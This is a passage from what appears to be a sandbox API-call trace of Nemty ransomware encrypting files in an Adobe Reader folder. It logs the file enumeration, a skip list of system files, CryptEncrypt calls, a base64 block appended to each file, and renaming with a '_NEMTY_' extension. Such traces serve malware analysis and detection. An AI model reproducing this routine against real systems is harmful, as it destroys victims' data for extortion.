Flags=0x0, Size=0x90) returned 0x6346d60 [0170.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.652] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sve._nemty_kgobjgd_")) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.652] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.652] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="..") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="...") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="windows") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="$RECYCLE.BIN") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="rsa") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="NTDETECT.COM") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="ntldr") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="MSDOS.SYS") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="IO.SYS") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="boot.ini") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="boot.ini") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="ntuser.dat") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="desktop.ini") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="CONFIG.SYS") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="RECYCLER") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="BOOTSECT.BAK") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="bootmgr") returned 1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="programdata") returned -1 [0170.653] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="appdata") returned 1 [0170.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0170.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0170.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0170.653] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.653] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.653] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.654] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0170.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.654] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.654] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.654] Sleep (dwMilliseconds=0x5) [0170.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195e8730, dwHighDateTime=0x1d561e8)) [0170.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x195e8730, dwHighDateTime=0x1d561e8)) [0170.662] GetLastError () returned 0x0 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.662] GetLastError () returned 0x0 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.662] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.662] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.662] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="YzadY1VO5VHCa3Lwy51j5vFKQf9YrPJ2D9r7w38nXHNSQCqcyZlx/lW2D6B7on1g\r\nPUm1cQNHLWdnoMyE8qSfKm92iQh2EiUZwN84R7R/zVDM/fbFKCIeRHPU6YO0yBh+\r\nmYaaKDrtqUEKoLqPWeeYKmaGxjAsFirmcy5RGjOllH6HkLk65xHBEu6r0xtDLFcI\r\nJCVK/+MYT12fdQDHBuVkaT5+MO6FFrF/H4pJc1KL2E/HVl5eh7Mi7mx8/o+0/2wb\r\nJZhadPp7gmC9Nd/cSs8tuwAAwveA9HnxR81lbdMWH3diBV1+EKDNJxJy5nsU/ip2\r\nA/vfStXml0NrreOzRmsonQ==\r\n", pcchString=0x653e91c) returned 1 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.662] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.662] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.662] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.663] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.663] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.663] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.663] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.665] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.665] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.665] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.665] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.665] CloseHandle (hObject=0x254) returned 1 [0170.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.665] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.tur._nemty_kgobjgd_")) returned 1 [0170.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.667] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="..") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="...") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="windows") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="$RECYCLE.BIN") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="rsa") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="NTDETECT.COM") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="ntldr") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="MSDOS.SYS") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="IO.SYS") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="boot.ini") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="boot.ini") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="ntuser.dat") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="desktop.ini") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="CONFIG.SYS") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="RECYCLER") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="BOOTSECT.BAK") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="bootmgr") returned 1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="programdata") returned -1 [0170.667] lstrcmpiW (lpString1="nppdf32.UKR", lpString2="appdata") returned 1 [0170.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0170.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0170.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0170.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.UKR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.UKR", lpUsedDefaultChar=0x0) returned 11 [0170.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.668] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.668] Sleep (dwMilliseconds=0x5) [0170.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1960e890, dwHighDateTime=0x1d561e8)) [0170.677] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1960e890, dwHighDateTime=0x1d561e8)) [0170.677] GetLastError () returned 0x0 [0170.677] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.677] GetLastError () returned 0x0 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.678] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.678] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="dia5v0wMSQ+khmlYkwv5/QAfhQS2AZmHOfAtHxwvkfR9rS1yjAuYlk0rFq/Ic44s\r\nfqSC2yYpCJxy5lARiBNdWNoUXZ7uPoUn1U8RQGvdjSN+KNJrk1Ek0spdmLJtT/B/\r\nMp3vi903IzH1BMBrX/A3CnN8xabk/g9hhpqBoBttv4Dx8+89QJNhnuss2qWCGut+\r\nwZ2vDmu+JABflM/8h2wTlqJrAQXOpLJCEVod3+rQXoALFzzDcAfQQRFBjh9AtlLi\r\nnxuocUfUTe1FHZVWL53KKSp5sH9lQcw0AKrGbkBGy9lMrnn2+XbPfkruXikmWAds\r\nzfaQqGC3ca06rih7Ol/fzQ==\r\n", pcchString=0x653e91c) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.678] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.678] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.678] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.678] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.678] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.681] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.681] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.681] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.681] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.681] CloseHandle (hObject=0x254) returned 1 [0170.681] RtlAllocateHeap 